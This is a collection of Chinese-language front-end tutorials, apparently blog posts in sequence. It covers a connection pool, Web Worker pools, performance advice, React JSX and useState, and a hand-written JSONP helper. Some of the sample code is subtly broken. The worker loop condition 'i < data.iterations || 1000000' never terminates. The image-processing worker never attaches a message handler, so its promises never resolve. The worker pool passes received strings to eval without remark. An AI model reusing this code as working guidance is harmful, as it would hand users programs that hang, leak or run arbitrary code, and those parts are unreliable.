    if (totalConnections < this.options.maxConnections) {
      const connection = await this.createAndAddConnection();
      this.active.add(connection);
      return connection;
    }
    
    // 3. 等待可用连接
    return new Promise((resolve, reject) => {
      const waitStart = Date.now();
      
      const waitingRequest = {
        resolve,
        reject,
        timer: setTimeout(() => {
          // 超时处理
          const index = this.waiting.indexOf(waitingRequest);
          if (index > -1) {
            this.waiting.splice(index, 1);
          }
          
          this.stats.timeoutErrors++;
          reject(new Error('Connection acquisition timeout'));
        }, this.options.acquireTimeout)
      };
      
      this.waiting.push(waitingRequest);
      
      // 立即尝试处理等待队列
      this.processWaitingQueue();
    });
  }

  release(connection) {
    if (!this.active.has(connection)) {
      console.warn('Connection not active in pool');
      return;
    }
    
    this.active.delete(connection);
    this.stats.released++;
    
    // 检查连接是否仍然有效
    if (this.isConnectionValid(connection)) {
      this.pool.push({
        connection,
        lastUsed: Date.now(),
        valid: true
      });
      
      // 清理空闲超时的连接
      this.cleanupIdleConnections();
      
      // 处理等待队列
      this.processWaitingQueue();
    } else {
      // 连接无效,销毁
      this.destroyConnection(connection);
    }
  }

  async testConnection(connection) {
    // 默认实现,子类应该覆盖这个方法
    return Promise.resolve();
  }

  isConnectionValid(connection) {
    // 默认实现,子类应该覆盖这个方法
    return true;
  }

  destroyConnection(connection) {
    // 清理连接资源
    if (connection.destroy && typeof connection.destroy === 'function') {
      connection.destroy();
    } else if (connection.close && typeof connection.close === 'function') {
      connection.close();
    }
    
    this.stats.destroyed++;
  }

  cleanupIdleConnections() {
    const now = Date.now();
    const idleTimeout = this.options.idleTimeout;
    
    for (let i = this.pool.length - 1; i >= 0; i--) {
      const item = this.pool[i];
      
      // 检查空闲时间
      if (now - item.lastUsed > idleTimeout) {
        // 保留最小连接数
        if (this.pool.length > this.options.minConnections) {
          const [idleItem] = this.pool.splice(i, 1);
          this.destroyConnection(idleItem.connection);
        }
      }
    }
  }

  processWaitingQueue() {
    while (this.waiting.length > 0 && this.pool.length > 0) {
      const waitingRequest = this.waiting.shift();
      clearTimeout(waitingRequest.timer);
      
      // 获取连接
      const item = this.pool.pop();
      this.active.add(item.connection);
      item.lastUsed = Date.now();
      
      waitingRequest.resolve(item.connection);
    }
  }

  async execute(callback) {
    const connection = await this.acquire();
    
    try {
      const result = await callback(connection);
      return result;
    } finally {
      this.release(connection);
    }
  }

  getStats() {
    return {
      ...this.stats,
      poolSize: this.pool.length,
      activeSize: this.active.size,
      waitingSize: this.waiting.length,
      totalSize: this.pool.length + this.active.size
    };
  }

  clear() {
    // 清理所有连接
    [...this.pool, ...this.active].forEach(item => {
      this.destroyConnection(item.connection || item);
    });
    
    // 清理等待队列
    this.waiting.forEach(request => {
      clearTimeout(request.timer);
      request.reject(new Error('Pool cleared'));
    });
    
    this.pool = [];
    this.active.clear();
    this.waiting = [];
  }
}

// 使用示例:WebSocket连接池
class WebSocketPool extends ConnectionPool {
  constructor(url, options = {}) {
    super(async () => {
      return new Promise((resolve, reject) => {
        const ws = new WebSocket(url);
        
        ws.onopen = () => resolve(ws);
        ws.onerror = (error) => reject(error);
      });
    }, options);
    
    this.url = url;
  }

  async testConnection(ws) {
    return new Promise((resolve, reject) => {
      if (ws.readyState === WebSocket.OPEN) {
        resolve();
      } else if (ws.readyState === WebSocket.CONNECTING) {
        // 等待连接
        const onOpen = () => {
          ws.removeEventListener('open', onOpen);
          resolve();
        };
        
        const onError = () => {
          ws.removeEventListener('error', onError);
          reject(new Error('WebSocket connection failed'));
        };
        
        ws.addEventListener('open', onOpen);
        ws.addEventListener('error', onError);
        
        // 超时
        setTimeout(() => {
          ws.removeEventListener('open', onOpen);
          ws.removeEventListener('error', onError);
          reject(new Error('WebSocket connection timeout'));
        }, 5000);
      } else {
        reject(new Error('WebSocket is not open'));
      }
    });
  }

  isConnectionValid(ws) {
    return ws.readyState === WebSocket.OPEN;
  }

  destroyConnection(ws) {
    if (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING) {
      ws.close();
    }
    super.destroyConnection(ws);
  }
}

// 使用示例
const wsPool = new WebSocketPool('wss://echo.websocket.org', {
  maxConnections: 5,
  minConnections: 1,
  idleTimeout: 60000
});

// 使用连接池发送消息
async function sendMessage(message) {
  return wsPool.execute(async (ws) => {
    return new Promise((resolve, reject) => {
      const messageId = Date.now();
      
      const handler = (event) => {
        try {
          const data = JSON.parse(event.data);
          if (data.id === messageId) {
            ws.removeEventListener('message', handler);
            resolve(data);
          }
        } catch (error) {
          // 忽略解析错误
        }
      };
      
      ws.addEventListener('message', handler);
      
      // 设置超时
      setTimeout(() => {
        ws.removeEventListener('message', handler);
        reject(new Error('Message timeout'));
      }, 5000);
      
      // 发送消息
      ws.send(JSON.stringify({
        id: messageId,
        message
      }));
    });
  });
}

// 并发发送消息
Promise.all([
  sendMessage('Hello 1'),
  sendMessage('Hello 2'),
  sendMessage('Hello 3'),
  sendMessage('Hello 4'),
  sendMessage('Hello 5')
]).then(responses => {
  console.log('All messages sent:', responses);
});

十、Web Worker优化计算密集型任务

10.1 智能Worker池
class WorkerPool {
  constructor(workerScript, options = {}) {
    this.workerScript = workerScript;
    this.options = {
      maxWorkers: navigator.hardwareConcurrency || 4,
      idleTimeout: 30000, // 空闲超时时间
      ...options
    };
    
    this.workers = [];
    this.idleWorkers = [];
    this.taskQueue = [];
    this.taskCallbacks = new Map();
    this.workerStates = new Map();
    
    this.stats = {
      tasksCompleted: 0,
      tasksFailed: 0,
      workersCreated: 0,
      workersDestroyed: 0
    };
    
    // 初始化Worker
    this.initWorkers();
  }

  initWorkers() {
    const initialCount = Math.min(2, this.options.maxWorkers);
    
    for (let i = 0; i < initialCount; i++) {
      this.createWorker();
    }
  }

  createWorker() {
    if (this.workers.length >= this.options.maxWorkers) {
      return null;
    }
    
    let worker;
    
    if (typeof this.workerScript === 'string') {
      worker = new Worker(this.workerScript);
    } else if (typeof this.workerScript === 'function') {
      // 从函数创建Worker
      const workerBlob = new Blob([
        `(${this.workerScript.toString()})()`
      ], { type: 'application/javascript' });
      
      worker = new Worker(URL.createObjectURL(workerBlob));
    } else {
      throw new Error('workerScript must be a URL string or a function');
    }
    
    const workerId = this.workers.length;
    worker.id = workerId;
    
    // 设置消息处理
    worker.onmessage = (event) => {
      this.handleWorkerMessage(workerId, event);
    };
    
    worker.onerror = (error) => {
      this.handleWorkerError(workerId, error);
    };
    
    worker.onmessageerror = (error) => {
      this.handleWorkerError(workerId, error);
    };
    
    this.workers.push(worker);
    this.idleWorkers.push(workerId);
    this.workerStates.set(workerId, {
      idle: true,
      currentTask: null,
      lastUsed: Date.now()
    });
    
    this.stats.workersCreated++;
    
    return workerId;
  }

  handleWorkerMessage(workerId, event) {
    const state = this.workerStates.get(workerId);
    if (!state || !state.currentTask) return;
    
    const taskId = state.currentTask;
    const callback = this.taskCallbacks.get(taskId);
    
    if (callback) {
      if (event.data.error) {
        callback.reject(new Error(event.data.error));
        this.stats.tasksFailed++;
      } else {
        callback.resolve(event.data.result);
        this.stats.tasksCompleted++;
      }
      
      this.taskCallbacks.delete(taskId);
    }
    
    // 标记Worker为空闲
    state.idle = true;
    state.currentTask = null;
    state.lastUsed = Date.now();
    this.idleWorkers.push(workerId);
    
    // 处理下一个任务
    this.processQueue();
    
    // 清理空闲超时的Worker
    this.cleanupIdleWorkers();
  }

  handleWorkerError(workerId, error) {
    console.error(`Worker ${workerId} error:`, error);
    
    const state = this.workerStates.get(workerId);
    if (state && state.currentTask) {
      const taskId = state.currentTask;
      const callback = this.taskCallbacks.get(taskId);
      
      if (callback) {
        callback.reject(error);
        this.stats.tasksFailed++;
        this.taskCallbacks.delete(taskId);
      }
    }
    
    // 销毁Worker
    this.destroyWorker(workerId);
    
    // 创建新的Worker替换
    this.createWorker();
    
    // 处理队列中的任务
    this.processQueue();
  }

  destroyWorker(workerId) {
    const workerIndex = this.workers.findIndex(w => w.id === workerId);
    if (workerIndex === -1) return;
    
    const worker = this.workers[workerIndex];
    
    // 终止Worker
    worker.terminate();
    
    // 从数组中移除
    this.workers.splice(workerIndex, 1);
    
    // 更新其他Worker的ID
    this.workers.forEach((w, index) => {
      w.id = index;
    });
    
    // 清理状态
    this.workerStates.delete(workerId);
    
    // 从空闲列表中移除
    const idleIndex = this.idleWorkers.indexOf(workerId);
    if (idleIndex > -1) {
      this.idleWorkers.splice(idleIndex, 1);
    }
    
    this.stats.workersDestroyed++;
  }

  cleanupIdleWorkers() {
    const now = Date.now();
    const idleTimeout = this.options.idleTimeout;
    
    // 保留至少一个Worker
    while (this.idleWorkers.length > 1) {
      const workerId = this.idleWorkers[0];
      const state = this.workerStates.get(workerId);
      
      if (state && now - state.lastUsed > idleTimeout) {
        this.destroyWorker(workerId);
      } else {
        break;
      }
    }
  }

  processQueue() {
    while (this.taskQueue.length > 0 && this.idleWorkers.length > 0) {
      const task = this.taskQueue.shift();
      const workerId = this.idleWorkers.shift();
      
      this.executeTask(workerId, task);
    }
    
    // 如果没有空闲Worker但有任务,考虑创建新Worker
    if (this.taskQueue.length > 0 && this.workers.length < this.options.maxWorkers) {
      this.createWorker();
      this.processQueue();
    }
  }

  executeTask(workerId, task) {
    const worker = this.workers.find(w => w.id === workerId);
    if (!worker) return;
    
    const state = this.workerStates.get(workerId);
    if (!state) return;
    
    state.idle = false;
    state.currentTask = task.id;
    state.lastUsed = Date.now();
    
    worker.postMessage({
      taskId: task.id,
      data: task.data,
      type: task.type
    });
  }

  runTask(data, type = 'default') {
    const taskId = `task_${Date.now()}_${Math.random().toString(36).substr(2)}`;
    
    return new Promise((resolve, reject) => {
      const task = {
        id: taskId,
        data,
        type
      };
      
      this.taskCallbacks.set(taskId, { resolve, reject });
      this.taskQueue.push(task);
      
      this.processQueue();
    });
  }

  // 批量执行任务
  runTasks(tasks, type = 'default') {
    return Promise.all(
      tasks.map(taskData => this.runTask(taskData, type))
    );
  }

  // 执行函数并自动清理
  async execute(data, processor) {
    if (typeof processor !== 'function') {
      throw new Error('Processor must be a function');
    }
    
    // 将处理器函数发送到Worker
    const taskId = await this.runTask({
      data,
      processor: processor.toString()
    }, 'function');
    
    return taskId;
  }

  getStats() {
    return {
      ...this.stats,
      workers: this.workers.length,
      idleWorkers: this.idleWorkers.length,
      activeWorkers: this.workers.length - this.idleWorkers.length,
      queuedTasks: this.taskQueue.length,
      activeTasks: this.taskCallbacks.size
    };
  }

  terminate() {
    // 终止所有Worker
    this.workers.forEach(worker => {
      worker.terminate();
    });
    
    // 清理所有任务
    this.taskCallbacks.forEach(({ reject }) => {
      reject(new Error('Worker pool terminated'));
    });
    
    this.workers = [];
    this.idleWorkers = [];
    this.taskQueue = [];
    this.taskCallbacks.clear();
    this.workerStates.clear();
  }
}

// Worker脚本示例
const workerScript = function() {
  // Worker内部代码
  self.onmessage = function(event) {
    const { taskId, data, type } = event.data;
    
    try {
      let result;
      
      switch (type) {
        case 'function':
          // 执行传入的函数
          const { data: taskData, processor } = data;
          const func = eval(`(${processor})`);
          result = func(taskData);
          break;
          
        case 'calculate':
          // 计算密集型任务
          result = expensiveCalculation(data);
          break;
          
        case 'process':
          // 数据处理任务
          result = processData(data);
          break;
          
        default:
          result = data;
      }
      
      self.postMessage({ taskId, result });
    } catch (error) {
      self.postMessage({ 
        taskId, 
        error: error.message || 'Unknown error' 
      });
    }
  };
  
  function expensiveCalculation(data) {
    let result = 0;
    for (let i = 0; i < data.iterations || 1000000; i++) {
      result += Math.sqrt(i) * Math.sin(i);
    }
    return result;
  }
  
  function processData(data) {
    // 数据处理逻辑
    return data.map(item => ({
      ...item,
      processed: true,
      timestamp: Date.now()
    }));
  }
};

// 使用示例
const workerPool = new WorkerPool(workerScript, {
  maxWorkers: 4,
  idleTimeout: 60000
});

// 执行计算密集型任务
async function runCalculations() {
  const tasks = Array.from({ length: 10 }, (_, i) => ({
    iterations: 1000000 * (i + 1)
  }));
  
  const startTime = Date.now();
  
  const results = await workerPool.runTasks(tasks, 'calculate');
  
  const endTime = Date.now();
  console.log(`Calculations completed in ${endTime - startTime}ms`);
  console.log('Results:', results);
  
  return results;
}

// 执行函数
async function runCustomFunction() {
  const processor = (data) => {
    // 这是在Worker中执行的函数
    let sum = 0;
    for (let i = 0; i < data.length; i++) {
      sum += data[i] * Math.sqrt(data[i]);
    }
    return sum;
  };
  
  const data = Array.from({ length: 1000000 }, () => Math.random());
  
  const result = await workerPool.execute(data, processor);
  console.log('Custom function result:', result);
}

// 监控统计
setInterval(() => {
  console.log('Worker pool stats:', workerPool.getStats());
}, 5000);
10.2 专用Worker优化
class ImageProcessingWorker {
  constructor() {
    this.worker = this.createWorker();
    this.taskQueue = new Map();
    this.nextTaskId = 1;
  }

  createWorker() {
    const workerCode = `
      self.onmessage = function(event) {
        const { taskId, operation, imageData, params } = event.data;
        
        try {
          let result;
          
          switch (operation) {
            case 'resize':
              result = resizeImage(imageData, params);
              break;
              
            case 'filter':
              result = applyFilter(imageData, params);
              break;
              
            case 'compress':
              result = compressImage(imageData, params);
              break;
              
            default:
              throw new Error('Unknown operation: ' + operation);
          }
          
          self.postMessage({ taskId, result }, [result]);
        } catch (error) {
          self.postMessage({ taskId, error: error.message });
        }
      };
      
      function resizeImage(imageData, { width, height, quality = 0.9 }) {
        // 创建离屏Canvas
        const canvas = new OffscreenCanvas(width, height);
        const ctx = canvas.getContext('2d');
        
        // 绘制并缩放图像
        ctx.drawImage(imageData, 0, 0, width, height);
        
        // 转换为Blob
        return canvas.convertToBlob({ quality });
      }
      
      function applyFilter(imageData, { filter, intensity = 1 }) {
        const canvas = new OffscreenCanvas(
          imageData.width, 
          imageData.height
        );
        const ctx = canvas.getContext('2d');
        
        ctx.drawImage(imageData, 0, 0);
        
        const imageDataObj = ctx.getImageData(
          0, 0, 
          canvas.width, 
          canvas.height
        );
        
        // 应用滤镜
        const data = imageDataObj.data;
        for (let i = 0; i < data.length; i += 4) {
          // 简单灰度滤镜示例
          if (filter === 'grayscale') {
            const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
            data[i] = data[i + 1] = data[i + 2] = avg;
          }
          // 更多滤镜...
        }
        
        ctx.putImageData(imageDataObj, 0, 0);
        
        return canvas.convertToBlob();
      }
      
      function compressImage(imageData, { quality = 0.7 }) {
        const canvas = new OffscreenCanvas(
          imageData.width, 
          imageData.height
        );
        const ctx = canvas.getContext('2d');
        
        ctx.drawImage(imageData, 0, 0);
        
        return canvas.convertToBlob({ quality });
      }
    `;
    
    const blob = new Blob([workerCode], { type: 'application/javascript' });
    return new Worker(URL.createObjectURL(blob));
  }

  processImage(imageElement, operation, params = {}) {
    return new Promise((resolve, reject) => {
      const taskId = this.nextTaskId++;
      
      // 创建Canvas来获取ImageData
      const canvas = document.createElement('canvas');
      canvas.width = imageElement.width;
      canvas.height = imageElement.height;
      
      const ctx = canvas.getContext('2d');
      ctx.drawImage(imageElement, 0, 0);
      
      // 获取ImageData
      const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
      
      // 创建ImageBitmap(更高效)
      createImageBitmap(imageElement).then(imageBitmap => {
        // 存储回调
        this.taskQueue.set(taskId, { resolve, reject });
        
        // 发送任务到Worker
        this.worker.postMessage({
          taskId,
          operation,
          imageData: imageBitmap,
          params
        }, [imageBitmap]);
      });
    });
  }

  destroy() {
    this.worker.terminate();
    this.taskQueue.clear();
  }
}

// 使用示例
const imageProcessor = new ImageProcessingWorker();

async function processUserImage(imageFile) {
  const img = new Image();
  img.src = URL.createObjectURL(imageFile);
  
  await new Promise(resolve => {
    img.onload = resolve;
  });
  
  // 调整大小
  const resized = await imageProcessor.processImage(img, 'resize', {
    width: 800,
    height: 600,
    quality: 0.8
  });
  
  // 应用滤镜
  const filtered = await imageProcessor.processImage(img, 'filter', {
    filter: 'grayscale',
    intensity: 1
  });
  
  // 压缩
  const compressed = await imageProcessor.processImage(img, 'compress', {
    quality: 0.6
  });
  
  return {
    resized,
    filtered,
    compressed
  };
}

十一、最佳实践与性能原则

11.1 性能优化黄金法则
  1. 测量第一,优化第二
  • 使用Performance API测量关键指标
  • 优先优化瓶颈,而非微观优化
  • 建立性能基准线
  1. 延迟加载一切可能的内容
  • 图片、视频、第三方脚本
  • 非关键CSS和JavaScript
  • 路由级代码分割
  1. 缓存一切可能的内容
  • HTTP缓存策略
  • 内存缓存频繁使用的数据
  • 持久化缓存重要数据
  1. 批量处理操作
  • DOM操作批量更新
  • 网络请求合并
  • 状态更新合并
  1. 避免阻塞主线程
  • 长时间任务使用Web Worker
  • 复杂计算使用时间切片
  • 避免同步的阻塞操作
11.2 手写实现的优势
  1. 精细控制
  • 可以根据具体需求定制优化策略
  • 避免通用库的冗余代码
  1. 更好的理解
  • 深入理解性能问题的本质
  • 掌握底层优化原理
  1. 更小的包体积
  • 只包含需要的功能
  • 避免依赖大型库
  1. 更好的可调试性
  • 完全控制代码流程
  • 更容易添加日志和监控
11.3 持续优化流程
  1. 建立性能文化
  • 性能作为核心需求
  • 定期性能评审
  • 性能回归测试
  1. 自动化性能测试
  • 集成到CI/CD流程
  • 自动生成性能报告
  • 设置性能预算
  1. 渐进式优化
  • 从最关键的问题开始
  • 小步快跑,持续改进
  • 监控优化效果
  1. 知识分享与传承
  • 建立性能知识库
  • 定期分享会
  • 编写优化指南

总结

JavaScript性能优化是一个持续的过程,需要结合理论知识、实践经验和工具支持。通过手写实现这些优化技术,我们不仅能够解决具体的性能问题,更能深入理解性能优化的本质。

记住,最好的优化往往是那些能够从根本上解决问题的优化,而不是临时的修补。始终以用户体验为中心,以数据为依据,以持续改进为方法,才能构建出真正高性能的Web应用。

性能优化没有银弹,但有了这些手写实现的技术储备,你将能够更自信地面对各种性能挑战,构建出更快、更流畅的用户体验。

从零掌握 React JSX:为什么它让前端开发像搭积木一样简单?

从零掌握 React JSX:为什么它让前端开发像搭积木一样简单?

大家好,今天带大家深入聊聊 React 的核心灵魂——JSX。我们会结合真实代码示例,一步步拆解 JSX 的本质、组件化开发、状态管理,以及那些容易踩坑的地方。

React 为什么这么火?因为它把前端开发从“拼 HTML + CSS + JS”的手工活,变成了“搭积木式”的组件化工程。JSX 就是那把神奇的“胶水”,让 JavaScript 里直接写 HTML-like 代码成为可能。

5609728adb9d921c5649719c8cbf0517.jpg

JSX 是什么?XML in JS 的魔法

想象一下,你在 JavaScript 代码里直接写 HTML 标签,这听起来多酷?这就是 JSX(JavaScript XML)的核心。它不是字符串,也不是真正的 HTML,而是一种语法扩展,看起来像 XML,但最终会被编译成纯 JavaScript。

为什么需要 JSX?传统前端开发,HTML、CSS、JS 三分离,逻辑和视图混在一起时很容易乱套。React 说:不,我们把一切都放进 JS 里!这样,UI 描述和逻辑紧密耦合,代码更易维护。

来看个简单对比:

  • 不使用 JSX(纯 createElement):

    const element = createElement('h2', null, 'JSX 是 React 中用于描述用户界面的语法扩展');
    
  • 使用 JSX(语法糖):

    const element = <h2>JSX 是 React 中用于描述用户界面的语法扩展</h2>;
    

明显后者更直观、可读性更高!JSX 本质上是 React.createElement 的语法糖,Babel 会帮我们编译成后者。

:Babel 是一个开源的 JavaScript 编译器,更准确地说,是一个 转译器。它的主要作用是:把现代 JavaScript 代码(ES2015+,也就是 ES6 及更高版本)转换成向后兼容的旧版 JavaScript 代码,让这些代码能在老浏览器或旧环境中正常运行。

底层逻辑:JSX 被 Babel 转译后,生成 Virtual DOM 对象树。React 用这个虚拟树对比真实 DOM,只更新变化部分,这就是 React 高性能的秘密——Diff 算法 + 批量更新。

React vs Vue:为什么 React 更“激进”?

Vue 和 React 都是现代前端框架的代表,都支持响应式、数据绑定和组件化。但 React 更纯粹、更激进。

  • Vue:模板、脚本、样式三分离(单文件组件 .vue),上手友好,双向绑定 v-model 超级方便。适合快速原型开发。
  • React:一切皆 JS!JSX 把模板塞进 JS,单向数据流(props down, events up),逻辑更明确,但学习曲线陡峭。

React 的激进在于:它不提供“开箱即用”的模板语法,而是让你用完整的 JavaScript 能力构建 UI。你可以用 if、map、变量等原生 JS 控制渲染,而 Vue 模板需要指令(如 v-if、v-for)。

为什么很多人说 React 入门门槛高?因为它强制你思考“组件树”和“状态流”,而不是靠模板魔法。但一旦上手,你会发现它在大型项目中更可控、更灵活。Facebook、Netflix 都在用 React,就是因为组件化让代码像乐高积木一样可复用

组件化开发:从 DOM 树到组件树

传统前端靠 DOM 操作,审查元素是层层 div。React 说:不,我们用组件树代替 DOM 树!

组件是 React 的基本单位,每个组件是一个函数(现代 React 推荐函数组件),返回 JSX 描述 UI。

来看一个模拟掘金首页的例子:

function JuejinHeader() {
  return (
    <header>
      <h1>掘金的首页</h1>
    </header>
  );
}

const Articles = () => <main>Articles</main>;

function App() {
  return (
    <div>
      <JuejinHeader />
      <main>
        <Articles />
        <aside>{/* 侧边栏组件 */}</aside>
      </main>
    </div>
  );
}

这里,App 是根组件,组合了子组件。就像包工头分工:Header 负责头部,Articles 负责文章列表。页面就是这些组件搭起来的!

image.png

这张图的核心就是:把复杂 UI 拆分成组件树,每个组件专注自己的事,通过组合构建整个页面。

关键点:组件复用

  • 你会注意到 FancyText 出现了两次(一个直接在 App 下,一个在 InspirationGenerator 下)。
  • 这就是在强调:同一个组件可以被多个父组件多次渲染和复用!这正是 React 组件化开发的强大之处——写一次,到处用,像乐高积木一样组合。

为什么函数做组件? 因为函数纯净、无副作用,能完美封装 UI + 逻辑 + 状态。类组件(旧方式)有 this 绑定问题,函数组件 + Hooks 解决了这一切。

底层逻辑:React 渲染时,会递归调用每个组件的 render 函数,最终生成一棵完整的 Virtual DOM 树。也就是说每个组件渲染生成 Virtual DOM 片段,React 合并成一棵大树。更新时,只重渲染变化的组件子树。

useState:让函数组件拥有“记忆”

组件需要交互?就需要状态!useState 是 Hooks 的入门王牌。

import { useState } from 'react';

function App() {
  const [name, setName] = useState('vue'); // 初始值 'vue'
  const [todos, setTodos] = useState([
    { id: 1, title: '学习 React', done: false },
    { id: 2, title: '学习 Node', done: false }
  ]);
  const [isLoggedIn, setIsLoggedIn] = useState(false);

  const toggleLogin = () => setIsLoggedIn(!isLoggedIn);

  setTimeout(() => setName('react'), 3000); // 3秒后自动更新

  return (
    <>
      <h1>Hello <span className="title">{name}</span></h1>
      {todos.length > 0 ? (
        <ul>
          {todos.map(todo => (
            <li key={todo.id}>{todo.title}</li>
          ))}
        </ul>
      ) : (
        <div>暂无待办事项</div>
      )}
      {isLoggedIn ? <div>已登录</div> : <div>未登录</div>}
      <button onClick={toggleLogin}>
        {isLoggedIn ? '退出登录' : '登录'}
      </button>
    </>
  );
}

image.png

useState 返回 [状态值, 更新函数]。调用更新函数会触发重渲染,React 记住最新状态。

函数组件 + Hooks,代码更简洁、复用性更强。常见 Hooks:

  • useState:管理状态
  • useEffect:处理副作用(数据获取、订阅等)
  • useContext、useReducer、useRef 等

易错提醒

setState 是异步的!多个 setState 可能批处理,不要直接依赖旧值。
// 错:可能加1多次只加1
setCount(count + 1);

// 对:函数式更新
setCount(prev => prev + 1);
  • 在同一个事件(如 onClick)里,React 不会立即更新状态,而是把所有 setCount 调用收集到一个队列里。

  • 所有 setCount 执行时,看到的 count 都是当前渲染的“快照值” (这里是 0)。

  • 等事件结束,React 一次性处理队列:两次都是 “0 + 1 = 1”,最后覆盖成同一个值 1,只重渲染一次。

对象状态更新不会自动合并,用展开运算符:

错的例子:直接替换对象,会丢失属性

假设初始状态是一个对象:

const [person, setPerson] = useState({
  name: 'Alice',
  age: 30,
  city: 'Beijing'
});

如果你想只改 age:

// 错!直接传新对象
setPerson({ age: 35 });

结果:新状态变成 { age: 35 },name 和 city 全没了!因为 React 直接用你传的对象替换了整个状态。

正确的做法:用展开运算符(...prev)手动合并

jsx

// 对!函数式更新 + 展开运算符
setPerson(prev => ({ ...prev, age: 35 }));

这里发生了什么?

  • prev 是当前最新的状态对象({ name: 'Alice', age: 30, city: 'Beijing' })
  • { ...prev }:用 ES6 展开运算符把 prev 的所有属性复制到一个新对象里 → { name: 'Alice', age: 30, city: 'Beijing' }
  • age: 35:覆盖 age 属性
  • 最终返回新对象:{ name: 'Alice', age: 35, city: 'Beijing' }

完美!只改了 age,其他属性保留了。

JSX 常见坑与最佳实践

JSX 强大,但也有陷阱:

  1. class → className:class 是 JS 关键字,必须用 className。

    <div className="title">错误会报错!</div>
    
  2. 最外层必须单根元素

JSX 的 return 必须返回一个元素(或 null),不能直接返回多个并列元素。

错的:

return (
  <h1>标题</h1>
  <p>段落</p>  // 报错!Adjacent JSX elements must be wrapped...
);

因为 JSX 最终转译成 React.createElement 调用,而函数返回值只能是一个表达式。

正确做法:用 Fragment <> </> 包裹(不渲染多余 DOM)

return (
  <>  {/* 短语法 */}
    <h1>标题</h1>
    <p>段落</p>
  </>
);

// 或
return (
  <React.Fragment>
    <h1>标题</h1>
    <p>段落</p>
  </React.Fragment>
);

3. 表达式用 {}:插值、条件、三元、map 都用大括号。 jsx {condition ? <A /> : <B />}

  1. key 必加:列表渲染 map 时,加唯一 key,帮助 React 高效 Diff。

    {todos.map(todo => <li key={todo.id}>...</li>)}
    

    缺 key 会警告,性能差。

  2. 事件用 camelCase:onClick,不是 onclick。

  3. 自闭合标签:单标签必须闭合,如 <img />

根组件挂载:从 main.jsx 看 React 启动

import { createRoot } from 'react-dom/client';
import App from './App.jsx';

createRoot(document.getElementById('root')).render(
  <App />
);

1. 这段代码在干啥?一步步拆解

  • document.getElementById('root') :找到 HTML 文件里的挂载点。通常 index.html 有个

    ,React 会把整个应用塞进去,接管这个 div 里的所有内容。

  • createRoot(...) :创建 React 的“根”(Root)。它返回一个 Root 对象,这个对象负责管理整个组件树和 DOM 更新。

  • .render() :告诉 React:“嘿,从现在开始渲染 App 组件吧!”React 会从 App 开始递归渲染组件树,生成 Virtual DOM,最终 commit 到真实 DOM。

整个过程:创建根 → 初始渲染 → 接管 DOM。应用启动后,React 就完全掌控了 #root 里的 UI。

总结:为什么选择 React 和 JSX?

JSX 让 React 成为“全栈 JS”的代表:逻辑、视图、状态全在 JS 里。组件化让你像建筑师一样设计页面,useState 等 Hooks 让函数组件强大无比。

相比 Vue,React 更适合大型、复杂应用(生态丰富,TypeScript 支持一流)。但 Vue 上手更快,适合中小项目。

学 React,不是学语法,而是学“声明式编程”和“组件思维”。掌握 JSX,你就掌握了 React 的半壁江山。

一文带你掌握 JSONP:从 Script 标签到手写实现

一、JSONP 是什么?用来做什么?

JSONP(JSON with Padding)诞生于 CORS 尚未普及的年代,是前端解决 “跨域 GET 请求” 的鼻祖级方案。核心思想:

利用 <script> 标签没有同源限制的特性,让服务器把数据“包”成一段 JavaScript 函数调用返回,浏览器执行后即可拿到数据。

  • 只能发 GET
  • 兼容 IE6+
  • 无需任何浏览器插件或 CORS 配置

在现代前端,JSONP 已逐渐被 CORS 取代,但仍在 老旧系统、第三方统计脚本、CDN 回调 等场景活跃,同时也是 面试常考题


二、Script 标签及其属性回顾

属性 作用 对 JSONP 的影响
src 发起 GET 请求加载外部 JS 核心字段,承载接口地址 + 查询参数
async 异步加载,不保证执行顺序 默认行为,JSONP 无需顺序
defer 异步但 DOM 后再执行 一般不用,防止延迟
crossorigin 开启 CORS 错误详情 JSONP 不需要,否则报错
onload / onerror 监听加载成功/失败 可用来做 超时/异常 处理

关键特性

  1. <script src="xxx"> 不受同源限制
  2. 下载完成后立即在全局作用域执行
  3. 不会把响应文本暴露给 JS,只能靠“执行后的副作用”拿数据

三、Callback 是怎么传递与执行的?

① 传递:前端 → 后端

  1. 前端生成全局唯一函数名(如 jsonp_1710000000000
  2. 把函数名作为 GET 查询参数拼到 script 的 src:
    https://api.example.com/jsonp?callback=jsonp_1710000000000&id=123
    
  3. window 上挂同名函数:
    window[jsonp_1710000000000] = function (data) { /* 处理数据 */ };
    

② 执行:后端 → 浏览器

  1. 服务器读取 req.query.callback(即 jsonp_1710000000000
  2. 把数据包进该函数名,返回一段可执行 JS
    Content-Type: text/javascript
    
    响应体:
    jsonp_1710000000000({"name": "jsonp-demo"});
    
  3. 浏览器下载完后立即在全局作用域执行上述代码 →
    函数被调用,参数即为数据,副作用完成

③ 清理:前端自己

执行完立即 delete window[jsonp_1710000000000] 并移除 <script>,防止堆积。


四、手写一个简洁版 JSONP(含超时 + 错误)

function jsonp(url, data = {}, timeout = 7000) {
  return new Promise((resolve, reject) => {
    const cb = `jp_${Date.now()}`;
    const script = document.createElement('script');
    const timer = setTimeout(() => cleanup(reject('timeout')), timeout);

    window[cb] = (data) => cleanup(resolve(data));

    function cleanup(fn) {
      clearTimeout(timer);
      script.remove();
      delete window[cb];
      fn();
    }

    script.onerror = () => cleanup(reject('script error'));
    script.src = `${url}${url.includes('?') ? '&' : '?'}callback=${cb}&${new URLSearchParams(data)}`;
    document.head.appendChild(script);
  });
}

/* 使用 */
jsonp('https://api.example.com/jsonp', { id: 123 })
  .then(console.log)   // { id: '123', name: 'jsonp-demo' }
  .catch(console.error);

五、常见问题与坑

问题 原因 解决
返回纯 JSON 报语法错 <script> 期望 JS 而非 JSON 服务器务必返回 callback(JSON);
无法捕捉 HTTP 状态码 <script> 只有 onload/onerror onerror + 超时做模糊失败处理
只能 GET <script> 天生 GET 换 CORS 或代理
回调名冲突 全局变量重名 使用时间戳+随机数唯一化

六、今天还用 JSONP 吗?

  • 新项目:优先 CORS,简单、标准、支持所有 HTTP 方法
  • 老系统/统计脚本/CDN:JSONP 仍活跃,零配置跨域不可替代
  • 面试:手写 JSONP 是高频手写题,考察 Promise + Script 加载 + 全局回调 综合功底

七、一句话总结

JSONP = <script> 无同源限制 + 服务器包成 JS 函数调用 + 全局回调收数据
“下载即执行,执行即回调”——掌握它,跨域历史就懂了一半!

# 🌟 JavaScript原型与原型链终极指南:从Function到Object的完整闭环解析 ,深入理解JavaScript原型系统核心

